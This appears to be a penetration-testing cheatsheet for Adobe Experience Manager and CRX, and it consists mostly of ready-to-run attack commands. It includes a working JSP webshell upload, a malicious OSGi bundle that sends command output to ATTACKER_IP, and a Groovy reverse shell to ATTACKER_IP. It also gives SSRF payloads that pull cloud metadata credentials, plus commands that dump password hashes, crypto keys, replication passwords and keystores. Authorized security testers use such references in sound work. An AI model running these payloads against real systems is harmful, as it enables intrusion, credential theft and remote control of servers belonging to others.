CRX
Adobe Experience Manager (AEM) / CRX Pentesting Cheatsheet
BLUF: AEM is a Java-based CMS built on Apache Sling + OSGi + JCR (Apache Jackrabbit). The JCR stores everything — content, config, credentials, keys. CRXDE Lite (
/crx/de) is the browser IDE for that repository. An exposed/crx/deor/system/consolewith default creds = full RCE and credential dump.
Architecture Primer
AEM Stack:
├── Apache Sling (request handling, content resolution)
├── Apache Felix OSGi (bundle/plugin runtime → /system/console)
├── Apache Jackrabbit (JCR content repository)
├── CRXDE Lite (browser IDE for JCR → /crx/de)
└── Dispatcher (reverse proxy / CDN layer)
Default Ports:
4502 → Author instance
4503 → Publish instance
80/443 → Dispatcher (CDN fronting author or publish)
Attack Flow
1. Recon → Fingerprint AEM version, Author vs Publish, CMS paths
2. Anon Probe → Check sensitive paths without credentials
3. Default Auth → admin:admin on CRXDE, OSGi, Groovy, AEM login
4. CRXDE Lite → Browse JCR, read /etc/key, upload JSP shell
5. OSGi Console → Upload malicious bundle → RCE
6. Querybuilder → Dump users, password hashes, secrets from JCR
7. SSRF → Abuse vulnerable servlets to hit internal services
8. Dispatcher → Bypass rules to reach author endpoints via publish
9. Post-Ex → Read credentials.xml, key stores, cloud config
Recon & Fingerprinting
# Detect AEM instance
nmap -sV -p 4502,4503,80,443 <target>
# Version fingerprint — check X-Powered-By or version endpoint
curl -sI http://<target>:4502 | grep -i "x-powered\|server\|x-aem"
curl -s http://<target>:4502/libs/granite/core/content/login.html | grep -i "version\|version"
curl -s http://<target>:4502/system/sling/info.sessionInfo.json
# Common AEM response indicators
curl -s http://<target> | grep -i "geometrixx\|we.retail\|/content/dam\|/jcr:content\|crx\|sling"
# Google dorks
# site:target.com inurl:/content/dam
# site:target.com inurl:/jcr:content
# site:target.com inurl:/crx/de
# intext:/content/usergenerated site:target.com
# Check login page
curl -s http://<target>:4502/libs/granite/core/content/login.html
curl -s http://<target>:4502/crx/de/index.jsp
Anonymous Access Checks
Probe every path unauthenticated — AEM misconfigurations often leave these open.
High-Value Paths (No Auth Expected, Huge Win if 200)
BASE="http://<target>:4502"
# CRXDE Lite — full JCR browser if accessible
curl -s $BASE/crx/de/index.jsp
# OSGi Web Console — RCE via bundle upload if accessible
curl -s $BASE/system/console
curl -s $BASE/system/console/bundles
curl -s $BASE/system/console/configMgr
# Groovy console — RCE if plugin installed and accessible
curl -s $BASE/bin/groovyconsole
curl -s $BASE/groovyconsole
# CRX repository browser
curl -s $BASE/crx/explorer/browser/index.jsp
# Package Manager — upload malicious packages
curl -s $BASE/crx/packmgr/index.jsp
# Felix console alternative paths
curl -s $BASE/felix/console
curl -s $BASE/osgi/console
Data Leak Paths (Anonymous Read)
# User/people directory
curl -s "$BASE/home/users.infinity.json"
curl -s "$BASE/home/users.tidy.json"
curl -s "$BASE/bin/querybuilder.json?type=rep:User&limit=-1"
# User password hashes via Querybuilder (rep:password field)
curl -s "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1&p.properties=rep:password&p.excerptColumns=rep:password"
# Dump all users (Querybuilder)
curl -s "$BASE/bin/querybuilder.json?path=%2Fhome%2Fusers&type=rep%3AUser&p.limit=-1"
# Configuration / secrets
curl -s "$BASE/.json"
curl -s "$BASE/content.infinity.json"
curl -s "$BASE/content/usergenerated.infinity.json"
curl -s "$BASE/etc.infinity.json"
curl -s "$BASE/etc/key.json" # Crypto key (AEM < 6.3 may expose)
curl -s "$BASE/var/audit.infinity.json"
# Example content (should not exist in production)
curl -s "$BASE/content/geometrixx"
curl -s "$BASE/content/we-retail"
# Replication agents (author instance) — may expose transport credentials
curl -s "$BASE/etc/replication/agents.author.infinity.json"
# Version check
curl -s "$BASE/libs/granite/core/content/login/jcr:content.json"
Dispatcher Bypass Techniques
The Dispatcher is AEM's CDN/reverse proxy that restricts which paths reach Author. Bypasses allow reaching Admin Author endpoints via the Publish/CDN layer.
# Path traversal / extension tricks to bypass dispatcher rules
# Dispatcher often allows .css, .js, .ico — use to sneak blocked paths through
curl -s "http://<publish>:4503/etc/../crx/de/index.jsp"
curl -s "http://<publish>:4503/crx/de/index.css"
curl -s "http://<publish>:4503/crx/de/index.jsp;.css"
curl -s "http://<publish>:4503/system/console;.html"
curl -s "http://<publish>:4503/system/console.css"
curl -s "http://<publish>:4503/content.feed.json"
# URL encoding tricks
curl -s "http://<publish>:4503/%2f%2f%2f%2f..%2f..%2f..%2fetc%2fpasswd"
curl -s "http://<publish>:4503/content/..%2fsystem%2fconsole"
# Double encoding
curl -s "http://<publish>:4503/system%2Fconsole"
Authentication
Default Credentials
| Username | Password | Interface |
|---|---|---|
admin |
admin |
AEM / CRXDE / OSGi |
admin |
password |
AEM |
admin |
(blank) | Older installs |
author |
author |
AEM Author |
replication-receiver |
replication-receiver |
Replication user |
# Test AEM login
curl -s -X POST http://<target>:4502/libs/granite/core/content/login.html/j_security_check \
-d "j_username=admin&j_password=admin&j_validate=true" -I
# Test CRXDE Lite
curl -s -u admin:admin http://<target>:4502/crx/de/index.jsp | head -5
# Test OSGi console
curl -s -u admin:admin http://<target>:4502/system/console/bundles | head -5
CRXDE Lite Exploitation (/crx/de)
CRXDE Lite gives direct JCR access. Equivalent to having root on the content repository.
Browse & Enumerate JCR
BASE="http://<target>:4502"
# List root nodes
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root.infinity.json"
# Read specific nodes
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/home/users.infinity.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/var.json"
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/key.json" # Crypto key
# Read files via CRXDE REST API
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/apps/mysite/components/page/body.esp"
JSP Webshell Upload via CRXDE
# 1. Create a node in /apps for the shell (must be sling:Folder type)
curl -su admin:admin -X POST "$BASE/crx/server/crx.default/jcr:root/apps/pentest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode ":nameHint=pentest" \
--data-urlencode "jcr:primaryType=sling:Folder"
# 2. Upload JSP shell to the node
curl -su admin:admin -X PUT "$BASE/crx/server/crx.default/jcr:root/apps/pentest/shell.jsp" \
-H "Content-Type: application/octet-stream" \
--data-binary '<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
InputStream is = p.getInputStream();
int c; while((c=is.read())!=-1) out.print((char)c);
}
%>'
# 3. Trigger the shell
curl -s "http://<target>:4502/apps/pentest/shell.jsp?cmd=id"
Read Sensitive Files via CRXDE
# AEM encryption key (used to decrypt stored credentials)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/key.json"
# Replication agent transport credentials
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/replication/agents.author.infinity.json"
# Cloud configuration (may contain API keys, AWS creds, etc.)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/etc/cloudservices.infinity.json"
# User profiles (PII, email addresses)
curl -su admin:admin "$BASE/crx/server/crx.default/jcr:root/home/users.infinity.json"
OSGi Console Exploitation (/system/console)
OSGi = AEM's plugin runtime. Console allows installing/unloading Java bundles. Uploading a malicious
.jar= RCE.
# Install malicious OSGi bundle (JAR with BundleActivator executing a command)
curl -su admin:admin -X POST \
http://<target>:4502/system/console/bundles \
-F "action=install" \
-F "bundlestartlevel=20" \
-F "bundlefile=@/path/to/malicious.jar" \
-F "bundlestart=start"
# List installed bundles
curl -su admin:admin "http://<target>:4502/system/console/bundles.json" | jq '.data[] | {name, state, version}'
# OSGi config — often contains passwords, API keys, SMTP, LDAP
curl -su admin:admin "http://<target>:4502/system/console/configMgr" -s | grep -i "password\|secret\|key\|token"
# Stop a specific bundle
curl -su admin:admin -X POST "http://<target>:4502/system/console/bundles/<bundle-id>" \
-d "action=stop"
Malicious OSGi Bundle (Java Skeleton)
// Compile and jar this to get RCE on bundle start
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.io.IOException;
public class Activator implements BundleActivator {
public void start(BundleContext ctx) throws IOException {
Runtime.getRuntime().exec("curl http://ATTACKER_IP/$(id)");
}
public void stop(BundleContext ctx) {}
}
Groovy Console RCE (/bin/groovyconsole)
If the AEM Groovy Console plugin is installed and exposed, it's direct RCE.
# Check if Groovy console is accessible
curl -su admin:admin http://<target>:4502/bin/groovyconsole
# Execute command via Groovy console (POST)
curl -su admin:admin -X POST "http://<target>:4502/bin/groovyconsole/post.json" \
-d 'code=["id"].execute().text'
# Reverse shell via Groovy
curl -su admin:admin -X POST "http://<target>:4502/bin/groovyconsole/post.json" \
--data-urlencode 'code=
String host = "ATTACKER_IP"
int port = 4444
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
[p.inputStream, s.inputStream].each { fi ->
Thread.start {
def fo = (fi == p.inputStream) ? s.outputStream : p.outputStream
fo << fi
}
}
p.waitFor()
'
Querybuilder Abuse (/bin/querybuilder.json)
Querybuilder is AEM's search API. It operates directly on JCR as the current session — with admin credentials or with anonymous access if controls are permissive.
BASE="http://<target>:4502"
# Dump all repository users + password hashes
curl -su admin:admin "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1&p.properties=rep:password"
# Dump users with emails
curl -su admin:admin "$BASE/bin/querybuilder.json?type=rep:User&p.limit=-1"
# Search for nodes containing "password" in properties
curl -su admin:admin "$BASE/bin/querybuilder.json?fulltext=password&p.limit=10"
# Find all DAM assets
curl -su admin:admin "$BASE/bin/querybuilder.json?type=dam:Asset&p.limit=20"
# Find pages with specific content
curl -su admin:admin "$BASE/bin/querybuilder.json?path=/content&type=cq:Page&p.limit=10"
# Abuse QueryBuilderJsonServlet (no auth — check if open)
curl -s "$BASE/bin/querybuilder.json?path=/home&type=rep:User&p.limit=-1&p.properties=rep:password"
# Alternative servlet paths worth probing
curl -s "$BASE/bin/querybuilder.feed.xml"
curl -s "$BASE/bin/querybuilder.res.json"
SSRF via AEM Servlets
Several built-in AEM servlets make HTTP requests based on user-supplied parameters — SSRF if exposed.
| Servlet | Path | CVE | Notes |
|---|---|---|---|
| SiteCatalyst | /etc/cloudservices/sitecatalyst/*.json |
— | SSRF to analytics endpoint |
| AutoProvisioning | /libs/cq/core/content/welcome.html |
— | SSRF |
| ReportingServices | /etc/contentinsight/report |
CVE-2018-12809 | SSRF → RCE (older AEM) |
| Salesforce Secret | /libs/mcm/salesforce/content/bridge.html |
CVE-2018-5006 | SSRF |
| OpenSocial Proxy | /libs/opensocial/proxy |
— | HTTP proxy → SSRF |
# SSRF via SiteCatalyst endpoint
curl -s "http://<target>:4502/etc/cloudservices/sitecatalyst/config.connectservice.json?analyticsServer=http://ATTACKER_IP/callback"
# SSRF via OpenSocial proxy
curl -s "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://169.254.169.254/latest/meta-data/"
# SSRF for cloud metadata (if AEM runs on AWS)
curl -s "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Internal port scan via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443; do
echo -n "Port $port: "
curl -s --max-time 2 "http://<target>:4502/libs/opensocial/proxy?container=default&url=http://127.0.0.1:$port/" | head -1
done
CVEs — Notable AEM Vulnerabilities
| CVE | AEM Version | Type | Impact |
|---|---|---|---|
| CVE-2024-36186 | < 6.5.20.0 | RCE | Remote code execution |
| CVE-2023-48445 | < 6.5.19.0 | Auth bypass | Admin access without credentials |
| CVE-2021-43766 | < 6.5.10 | SSRF | Internal network access |
| CVE-2020-9643 | < 6.5.4.0 | SSRF | Server-side request forgery |
| CVE-2020-9645 | < 6.5.4.0 | SSRF | Server-side request forgery |
| CVE-2018-12809 | AEM 6.1–6.4 | SSRF → RCE | ReportingServicesServlet |
| CVE-2018-5006 | AEM 6.x | SSRF | SalesforceSecretServlet |
| CVE-2016-7882 | AEM 6.x | XSS | Stored XSS via /crx |
Post-Exploitation
File System Access (via RCE or Shell)
# AEM home directory
ls -la /opt/aem/crx-quickstart/
ls -la /opt/adobe/aem/
# Repository data (JCR datastore)
find /opt/aem -name "*.json" | xargs grep -l "password\|secret\|key" 2>/dev/null
# AEM keystore / trust store
cat /opt/aem/crx-quickstart/launchpad/felix/bundle*/data/security/keystore.jks
find / -name "*.keystore" 2>/dev/null
find / -name "*.truststore" 2>/dev/null
# Service credentials in OSGi config files
cat /opt/aem/crx-quickstart/launchpad/sling.properties
grep -r "password\|secret\|apikey\|access_key" /opt/aem/crx-quickstart/launchpad/
Read Encryption Keys (Crypto Root)
# AEM Crypto Support stores keys in the JCR at /etc/key
# Read via CRXDE or querybuilder
curl -su admin:admin "http://<target>:4502/etc/key.tidy.json"
# Keys can be used to decrypt passwords stored in AEM config
# Tooling: https://github.com/nccgroup/AEM-Hacker (decrypt module)
Dump Replication Credentials
# Replication agents — contain transport user/password for Author→Publish
curl -su admin:admin "http://<target>:4502/etc/replication.infinity.json"
curl -su admin:admin "http://<target>:4502/etc/replication/agents.author.infinity.json"
curl -su admin:admin "http://<target>:4502/etc/replication/agents.publish.infinity.json"
# Look for transportPassword field in output
curl -su admin:admin "http://<target>:4502/etc/replication/agents.author.infinity.json" | \
python3 -c "import sys,json; data=json.load(sys.stdin); [print(k,v) for k,v in data.items() if 'password' in k.lower()]"
Tools
aem-hacker
# https://github.com/0ang3el/aem-hacker
git clone https://github.com/0ang3el/aem-hacker
cd aem-hacker
# Full scan (default credentials + known vulns + exposed paths)
python3 aem_hacker.py -u http://<target>:4502
# With credentials
python3 aem_hacker.py -u http://<target>:4502 --creds admin:admin
# Check SSRF via known servlets
python3 aem_hacker.py -u http://<target>:4502 --ssrf-url http://ATTACKER_IP/callback
aemscan
# Python scanner for common AEM vulns
# https://github.com/Frax31/aemscan
python aemscan.py -t http://<target>:4502
Manual with curl
# Quick path check loop
for path in /crx/de/index.jsp /system/console /bin/groovyconsole \
/crx/explorer/browser/index.jsp /crx/packmgr/index.jsp \
/bin/querybuilder.json /etc/replication.json \
/content.infinity.json /home/users.infinity.json; do
code=$(curl -so /dev/null -w "%{http_code}" "http://<target>:4502$path")
echo "$code $path"
done
Common AEM / CRX Paths Reference
| Path | What It Is |
|---|---|
/crx/de/index.jsp |
CRXDE Lite — JCR browser/editor |
/crx/explorer/browser/index.jsp |
CRX Explorer |
/crx/packmgr/index.jsp |
Package Manager |
/system/console |
OSGi/Felix Web Console |
/system/console/bundles |
Bundle list |
/system/console/configMgr |
OSGi config (passwords!) |
/bin/groovyconsole |
Groovy Console (RCE) |
/bin/querybuilder.json |
JCR search API |
/libs/granite/core/content/login.html |
AEM login page |
/etc/replication/agents.author |
Replication config |
/etc/cloudservices |
Cloud service configs (API keys) |
/etc/key |
AEM crypto key |
/home/users |
User accounts |
/home/groups |
Groups |
/var/audit |
Audit logs |
/content/geometrixx |
Sample content (should not exist in prod) |
/content/we-retail |
Sample content (should not exist in prod) |
/content/usergenerated |
User-generated content |
/libs/dam/gui/content/assets |
DAM interface |
Misconfigurations Checklist
Quick Reference
| Task | Command |
|---|---|
| Fingerprint | curl -sI http://target:4502 | grep X-Powered |
| Anon API | curl -s http://target:4502/api/json |
| Dump users | curl -su admin:admin "http://target:4502/bin/querybuilder.json?type=rep:User&p.limit=-1" |
| Password hashes | curl -su admin:admin "…?type=rep:User&p.limit=-1&p.properties=rep:password" |
| Crypto key | curl -su admin:admin http://target:4502/etc/key.json |
| JSP shell | Upload via /crx/server/crx.default/jcr:root/apps/… PUT |
| OSGi RCE | Upload .jar via /system/console/bundles |
| Groovy RCE | POST to /bin/groovyconsole/post.json with code= |
| SSRF | Abuse /libs/opensocial/proxy?url=http://… |
| Scan | python3 aem_hacker.py -u http://target:4502 |
Key References
- Adobe Security Checklist – AEM 6.5
- Enabling CRXDE Lite (Security Guidance)
- aem-hacker – 0ang3el
- AEM Security Testing – aemcorner.com
- Pentesting AEM – Pentest Partners
- AEM Hacking – SlideShare (Mikhail Egorov)
- Adobe AEM CVEs – Adobe Security Advisories
- Restricting CRXDE Access
- Hardening AEM Forms JEE